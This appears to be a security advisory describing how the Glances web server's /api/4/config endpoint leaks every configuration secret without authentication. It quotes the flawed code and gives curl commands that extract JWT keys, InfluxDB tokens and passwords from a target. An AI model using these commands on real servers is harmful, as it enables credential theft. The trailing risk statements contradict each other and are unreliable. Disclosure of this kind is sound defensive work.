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GHSA-gh4x-f7cq-wwx6
No affected components available
Summary
The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.
Details
Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.
Affected Code:
- File: glances/outputs/glances_restful_api.py, lines 1154-1167
def _api_config(self):
"""Glances API RESTful implementation.
Return the JSON representation of the Glances configuration file
HTTP/200 if OK
HTTP/404 if others error
"""
try:
# Get the RAW value of the config' dict
args_json = self.config.as_dict() # <-- Returns ALL config including secrets
except Exception as e:
raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
else:
return GlancesJSONResponse(args_json)
- File: glances/config.py, lines 280-287
def as_dict(self):
"""Return the configuration as a dict"""
dictionary = {}
for section in self.parser.sections():
dictionary[section] = {}
for option in self.parser.options(section):
dictionary[section][option] = self.parser.get(section, option) # No filtering
return dictionary
- File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # No authentication!
PoC
- Start Glances in default webserver mode:
glances -w
# Glances web server started on http://0.0.0.0:61208/
- From any network-reachable host, retrieve all configuration secrets:
# Get entire config including all credentials
curl http://target:61208/api/4/config
Step 3: Extract specific secrets:
# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key
# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token
# Get all stored server passwords
curl http://target:61208/api/4/config/passwords
Impact
Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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